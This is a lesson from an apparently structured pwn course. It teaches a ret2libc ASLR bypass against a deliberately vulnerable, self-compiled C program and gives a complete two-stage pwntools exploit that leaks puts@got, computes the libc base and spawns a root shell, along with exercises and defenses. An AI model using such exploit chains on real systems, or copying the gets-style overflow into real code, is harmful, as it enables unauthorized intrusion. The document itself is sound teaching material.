Step 207. ret2libc: Leaking the libc Address to Bypass ASLR — Tracing an Address That Changes Every Run

Step 207. ret2libc: Leaking the libc Address to Bypass ASLR — Tracing an Address That Changes Every Run

Level 3 — Pwn Track | Difficulty ★★★★★ | Estimated time: 6 hours

Prerequisites: you’ve finished Steps 204–206. You’ve called system("/bin/sh") with a ROP chain and know the PLT is a fixed gateway. You remember the ASLR concept from Step 187.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: a WSL Ubuntu terminal, gcc, gdb, ROPgadget, pwntools. The measured environment is Ubuntu 24.04, glibc 2.39-0ubuntu8.8, pwntools 4.15.0.
  • Caution: today’s technique is the standard attack against field environments with ASLR on. The only target is an experimental binary you compiled yourself, and we don’t touch the system’s global ASLR setting.

Step 206’s attack had one freebie: the fixed gateway called system@plt. But libc’s real contents — system, and the "/bin/sh" string — load at different addresses every run because of ASLR. Today we learn the technique of making the sliding address tell us itself, by asking the program. Leak, calculate, strike twice — the two-stage exploit. The summit of the Pwn track.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Prove with an ldd measurement how ASLR changes libc’s address
  • Explain that the GOT holds "the real libc addresses of already-called functions"
  • Leak one libc address with a puts(puts@got) chain
  • Compute system and "/bin/sh"’s real addresses with leak - offset = libc base
  • Complete a full ret2libc: stage 1 returning to main + stage 2 striking with the calculated addresses

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment C + Python (pwntools), WSL Ubuntu bash, glibc 2.39 (x86-64, ASLR on)
Today’s commands/APIs ldd ./target (observe load addresses), objdump -R ./target (GOT listing), u64(...) (interpret the leak), libc.symbols[]·libc.search() (offset math), ljust(8, b'\x00') (6-byte padding)
Concepts needed ASLR, GOT/lazy binding, libc base and offsets, two-stage exploits

2-1. ASLR — A Library That Moves House Every Run

ASLR (Address Space Layout Randomization) is a defense that shuffles the addresses of the stack, heap, and libraries on every run (Step 187). The target lethal to us is libc: system’s address and "/bin/sh"’s address both change every run.

But the fine rules open our road. ① libc moves as one whole lump — the distances (offsets) between its internal functions are invariant. ② This binary is -no-pie, so the PLT/GOT addresses are fixed. ③ The real addresses of functions the program has already called are recorded in the GOT. Weave the three together: steal-read one address from the GOT (leak), subtract its offset, and you get the start of the libc lump (the base); add the offset to system and you have the real address in that run.

2-2. The GOT and Lazy Binding — The Bulletin Board Where Addresses Get Written

When a binary calls a libc function (like puts), the code goes through a gateway called the PLT. The PLT jumps to the address written in a table called the GOT (Global Offset Table). And under Linux’s default behavior (lazy binding), the GOT cell records the real libc address of that run only after the function is actually called for the first time.

The core point is this: the GOT’s address is fixed (like 0x404000), but its contents are that run’s real libc address. So if you ROP-call puts(the GOT address of puts) — in effect telling puts, "print your real address as written in your own address book" — a libc address gets printed to the screen. The program shoots itself in the foot, voluntarily.

2-3. Offset Math — The Arithmetic of Finding the Base

In glibc 2.39 (this measured environment), the in-file offsets are:

Symbol Offset (measured)
puts 0x87cc0
system 0x58750
"/bin/sh" string 0x1cb42f

Subtract 0x87cc0 from the leaked real address of puts and you get the libc base; add 0x58750 to that and you have that run’s system. Caution: these offsets differ by libc version. If the remote server’s libc differs, these numbers are useless, and you use a database (libc.rip etc.) that identifies the libc version from two leaked addresses. Today we’re local, so we open our own libc file and compute directly.

2-4. The Two-Stage Exploit — Go Back and Strike Again

One problem remains. After the stage-1 chain calls puts, where should the program go? If it just dies, there’s no time to calculate. The answer: return to main. Stack the chain’s end with main’s address, and after the leak prints, the program runs again from the start — giving us a second input opportunity. Then we pour in the finished chain with the calculated addresses.

[Stage 1] padding + pop rdi + puts@got + puts@plt + ret + main
        → puts' real address prints to the screen → we calculate
[Stage 2] padding + pop rdi + (base + /bin/sh) + ret + ret + (base + system)
        → shell

3. Follow Along

3-1. Building the Target — A Vulnerable Program That Uses puts

Input (vuln207.c)

#include <stdio.h>

/* Gadget supplier function */
void gadgets(void) {
    __asm__ volatile(
        "pop %rdi\n\t"
        "ret\n"
    );
}

void vuln(void) {
    char buf[32];
    puts("=== ret2libc lab ===");
    printf("Input: ");
    fflush(stdout);
    gets(buf);
    printf("Received: %s\n", buf);
    fflush(stdout);
}

int main(void) {
    vuln();
    puts("Normal exit");
    return 0;
}

How to read it: it actually calls puts (the banner output) — so the real address gets recorded in puts’ GOT cell. That’s the leak material.

cd ~/lab204_208
gcc -g -O0 -fno-stack-protector -no-pie vuln207.c -o vuln207

Once again NX is on, and ASLR stays at the system default (on). Today’s subject is not experimenting with it off — it’s piercing through while it’s on.

3-2. Proving ASLR — Same Binary, Different Addresses

Before attacking, first confirm the wall.

ldd ./vuln207 | grep libc
ldd ./vuln207 | grep libc
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000782f9d000000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000700e95c00000)

(Measured 2026-09-09.)

How to read the output: the same command twice shows different libc load addresses (0x782f… and 0x700e…). system’s address changes with this value every run. Fixed-address attacks end here. Hence the need for a technique that steal-reads addresses while the program runs.

3-3. Observing the GOT — Is It Really Written on the Board

objdump -R ./vuln207 | grep puts
0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
(gdb) b vuln
(gdb) r
(gdb) x/gx 0x404000
0x404000 <puts@got.plt>:	0x00007ffff7c87cc0
(gdb) info symbol *(long*)0x404000
puts in section .text of /lib/x86_64-linux-gnu/libc.so.6

(Measured 2026-09-09. gdb disables ASLR by default, so addresses appear fixed in the 0x7ffff7c… shape — in real runs they change every time.)

How to read the output: the fixed address 0x404000 (the GOT) holds 0x7ffff7c87cc0, and gdb confirms it’s libc’s puts. The bulletin-board theory, confirmed in the flesh. Stage 1 is printing this cell’s contents to the screen.

3-4. ★ The Full Exploit — A Script That Strikes Twice

Input (exploit207.py)

#!/usr/bin/env python3
from pwn import *

e = ELF('/root/lab204_208/vuln207')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = e

pop_rdi  = 0x40119e     # ROPgadget result
ret      = 0x40101a     # for stack alignment
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main     = e.symbols['main']

print(f"[*] puts@plt = {hex(puts_plt)}, puts@got = {hex(puts_got)}, main = {hex(main)}")

p = process('/root/lab204_208/vuln207')

# --- Stage 1: make puts(puts@got) print the real address of puts inside libc ---
p.recvuntil('Input: '.encode())
stage1 = b'A' * 40
stage1 += p64(pop_rdi)
stage1 += p64(puts_got)
stage1 += p64(puts_plt)
stage1 += p64(ret)      # alignment
stage1 += p64(main)     # go back to the start
p.sendline(stage1)

p.recvuntil('Received: '.encode())
p.recvline()                                # consume the input echo remainder
line = p.recvline().rstrip()                # the 6 bytes puts printed = the leak
print("[*] leak raw:", line)
leak = u64(line.ljust(8, b'\x00'))
print(f"[*] real puts address (changes every run) = {hex(leak)}")

libc_base = leak - libc.symbols['puts']
print(f"[*] libc base = {hex(libc_base)}")

system = libc_base + libc.symbols['system']
binsh  = libc_base + next(libc.search(b'/bin/sh\x00'))
print(f"[*] system = {hex(system)}, /bin/sh = {hex(binsh)}")

# --- Stage 2: system("/bin/sh") with the calculated addresses ---
# the re-entered stack has different alignment, so two rets were inserted (see Wall 3 in section 6)
p.recvuntil('Input: '.encode())
stage2 = b'A' * 40
stage2 += p64(pop_rdi)
stage2 += p64(binsh)
stage2 += p64(ret)
stage2 += p64(ret)
stage2 += p64(system)
p.sendline(stage2)
p.sendline(b'id; echo LIBC_PWNED')
print(p.recvall(timeout=3).decode(errors='replace'))

Run

/root/lab188/venv/bin/python3 exploit207.py
[*] puts@plt = 0x401074, puts@got = 0x404000, main = 0x40121f
[+] Starting local process '/root/lab204_208/vuln207': pid 624
[*] leak raw: b'\xc0|\xa89\xd5q'
[*] real puts address (changes every run) = 0x71d539a87cc0
[*] libc base = 0x71d539a00000
[*] system = 0x71d539a58750, /bin/sh = 0x71d539bcb42f
Received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
uid=0(root) gid=0(root) groups=0(root)
LIBC_PWNED

(Measured 2026-09-09. The same script ran four times and succeeded with four different addresses — 0x71d5…, 0x7a92…, 0x7daf…, 0x7ee1….)

How to read the output: let’s take it line by line.

  • leak raw: b'\xc0|\xa89\xd5q' — the 6 raw bytes puts(puts@got) printed. Not human-readable, so we turn them into a number with u64.
  • real puts address = 0x71d539a87cc0 — the real address where puts inside libc loaded in this run. The very thing ASLR changes every time, told to us by the program itself.
  • libc base = 0x71d539a00000 — the leak minus 0x87cc0. It ends cleanly in 00000 (libraries load page-aligned). That cleanliness is the signal the math is right.
  • uid=0(root) / LIBC_PWNED — output from the shell spawned by the stage-2 chain. A shell captured with ASLR on.

3-5. Double-Checking the Math by Hand

Let’s confirm by checking, not believing. The offsets are what pwntools read by opening the libc file.

puts    = base + 0x87cc0   →  0x71d539a87cc0  = 0x71d539a00000 + 0x87cc0   ✓
system  = base + 0x58750   →  0x71d539a58750  = 0x71d539a00000 + 0x58750   ✓
/bin/sh = base + 0x1cb42f  →  0x71d539bcb42f  = 0x71d539a00000 + 0x1cb42f  ✓

(Calculated with the numbers from the 2026-09-09 measured output.)

One leak yields the base, and one base yields the address of everything in libc. This is why "one leak is the key that opens the kingdom."


4. Missions & Exercises

Mission — A Complete ret2libc Report

  1. Change vuln207.c’s buf to char buf[24] and recompile (the padding changes!)
  2. Re-collect all materials: padding (disas), pop rdi/ret (ROPgadget), puts@plt/got/main (pwntools or objdump)
  3. Fix the exploit to complete the two stages, and leave a record of three consecutive runs succeeding with three different libc bases
  4. Build a double-check table: the full add-subtract process of leak → base → system → "/bin/sh"
  5. Answer at the end of the report: ① "If the server is remote and you don’t know its libc file, what is the problem and how would you solve it?" ② "Name at least three defenses that block this attack" (hint: Step 187’s defense layers and Full RELRO)

Exercises

Exercise 1. Even with ASLR on, why are the offsets inside libc (the puts~system distance) invariant?

Exercise 2. Explain the principle by which the puts(puts@got) chain serves a leak — including what gets written to the GOT and when.

Exercise 3. Why does the stage-1 chain end with main? Wouldn’t exit work?

Exercise 4. The leak raw was 6 bytes, yet we made it 8 with ljust(8, b'\x00') before feeding u64. Why 6 bytes, and why pad?


5. Model Answers & Completion Criteria

Mission Model Answer

An example report (2026-09-09, Ubuntu 24.04, glibc 2.39 — numbers vary by environment):

[design] buf[24] → disas confirms buf = rbp-0x18, padding = 0x18 + 8 = 32 bytes
[materials] pop rdi ; ret = 0x4011xx, ret = 0x40101a, puts@plt/got/main re-measured
[3 consecutive successes]
  run1: leak=0x7f...87cc0  base=0x7f...00000  → uid=0(root) LIBC_PWNED
  run2: leak=0x7e...87cc0  base=0x7e...00000  → uid=0(root) LIBC_PWNED
  run3: leak=0x78...87cc0  base=0x78...00000  → uid=0(root) LIBC_PWNED
  (all three runs share the leak's low 5 digits 87cc0 — evidence of invariant offsets)
[double-check] base + 0x58750 = system, base + 0x1cb42f = /bin/sh (holds for each run)
[answers]
  ① without knowing the remote libc you don't know the offsets → leak two
     (puts plus one more) and identify the version in a libc database to get the offsets
  ② don't use gets (blocks the overflow), enable canaries (detects overwrites),
     Full RELRO (makes the GOT read-only), PIE (randomizes even the binary's addresses)

How to verify: ① are the leaks’ low digits identical across the three runs — the cleanest evidence that ASLR moves only the base while offsets persist? ② does each equation in the double-check hold? ③ does the defense answer include both "input caps" and "GOT protection (Full RELRO)"?

Exercise Answers

Answer 1. Because ASLR only moves the library as one whole lump; it doesn’t rearrange functions’ relative placement inside the file. The puts–system distance is a fixed value engraved in the libc.so.6 file, and only the lump’s starting point (the base) changes every run. So real address = base + invariant offset.

Answer 2. Under lazy binding, a function’s real libc address of that run gets written to the GOT only after its first actual call. vuln207 already called puts for its banner, so puts@got (fixed address 0x404000) holds the real address. Hand puts@got to puts as an argument, and puts prints that cell’s contents — its own real address — like a string. We made the program tell a secret using only information it already had.

Answer 3. Because after receiving the leak and calculating, we need a second overflow opportunity. Returning to main makes the program run vuln again and accept input once more. Ending with exit terminates the program, leaving nothing to pour stage 2 into. "Attack, survive, and attack again" is the core of the two-stage exploit.

Answer 4. x86-64 user-space addresses always have their top 2 bytes as 0, so the leak output carries only the meaningful 6 bytes (in the 0x00007f… shape, the null bytes would mean termination for string output). u64 demands exactly 8 bytes, so we pad the missing top 2 bytes with \x00, restoring the original address (whose top bytes are 0 anyway). Without padding, u64 throws an error.

Completion Criteria Checklist

  • [ ] I proved ASLR by running ldd twice
  • [ ] I confirmed the real address written in the GOT with objdump and gdb
  • [ ] I leaked a libc address with the puts(puts@got) stage-1 chain
  • [ ] I double-checked the leak – offset = base math by hand
  • [ ] I captured a shell with the stage-2 chain while ASLR was on
  • [ ] I can explain why the 6-byte leak is handled with ljust
  • [ ] I ran multiple times and confirmed success with different bases
  • [ ] Mission: I completed the 3-success record and double-check report for the redesigned target

6. Common Pitfalls & Fixes

Wall 1. u64 error — unpack requires 8 bytes

Symptom: a length-related error at u64(line).
Cause: the leak output is 6 bytes but u64 demands 8. Or recvline included the newline, making 7 bytes.
Fix: u64(line.rstrip().ljust(8, b'\x00')) — strip the newline (rstrip) and pad with nulls (ljust) to exactly 8 bytes. That’s the standard idiom.

Wall 2. Stage 1 works but the base comes out messy

Symptom: the computed libc base doesn’t end in 000.
Cause: the leak interpretation is wrong — you read the wrong bytes, or subtracted a different function’s offset.
Fix: libraries load page-aligned (0x1000), so the base must end in 0x…000. If it’s messy, suspect the leak parsing. Check the actually received bytes in debug mode, and verify recvuntil/recvline consume exactly the one leak line.

Wall 3. It dies only in stage 2 — alignment returns

Symptom: the stage-1 leak is perfect, but stage 2 segfaults (we actually hit this while writing).
Cause: the stack re-entered via main has different alignment than the first time. In the measurement, stage 2 died with one ret (same shape as stage 1) and survived only with two.
Fix: the same prescription as Step 206’s movaps wall — vary the ret count. Trying 0, 1, 2 in order is field standard. Confirm the death spot is movaps in gdb.

Wall 4. Local success, remote failure

Symptom: it works locally but stage 2 dies against the remote server.
Cause: the server’s libc version differs, so the offsets differ. Our 0x87cc0/0x58750 belong to this environment’s glibc 2.39.
Fix: remotely, leak two (different functions), look them up in a libc database (libc.rip etc.) to identify the version, and use that version’s offsets. This is the standard procedure of field ret2libc.

Wall 5. In gdb the address is the same every time

Symptom: inside gdb, the leak address appears fixed at 0x7ffff7c….
Cause: gdb disables ASLR by default for debugging convenience.
Fix: it’s not a bug — it’s gdb’s default behavior. Verify ASLR-on conditions outside gdb (run the script directly). Today’s script succeeding with four different bases is the evidence.


7. Summary

Today’s Concepts

Concept One-line explanation
ASLR A defense moving libraries as a whole lump every run — offsets are invariant
GOT A fixed-address table where library functions’ real addresses get recorded
Lazy binding The behavior where the real address enters the GOT only after the first call
Leak The technique of making a program print its own addresses — ASLR’s key
libc base leak – offset. This one value opens the map of all of libc
Two-stage exploit The strike-twice structure via main return — leak, then the finished chain

Today’s Commands & APIs

Command/code What it does
ldd ./target Observe libc load addresses — prove ASLR
objdump -R ./target List GOT entries (the address book)
x/gx 0x404000 (gdb) Check a GOT cell’s contents
u64(line.rstrip().ljust(8, b'\x00')) Turn the 6-byte leak into a number
leak - libc.symbols['puts'] Compute the libc base
base + libc.symbols['system'] system’s real address
base + next(libc.search(b'/bin/sh\x00')) the string’s real address

An Instinct More Important Than Commands

Today’s attack is, at its core, not a technique but a flip of perspective. ASLR is the defense "the attacker doesn’t know the addresses" — and instead of guessing, we asked. The program lives with the addresses it uses written in its GOT, and if that program has a mouth for output — you can make that mouth speak the secret. Not a game where the attacker finds what the defense hid, but a world where the program itself, living beneath the defense, is a fountain of information.

And this structure — leak, calculate, re-enter — is the skeleton of nearly every modern exploit. Today you arrived at pwn’s heart: from the thirty-two A’s of Step 186, all the way to opening a shell on an ASLR-enabled system.


Once every box is checked, Step 207 is complete. Click the checkbox in the sidebar to save your progress.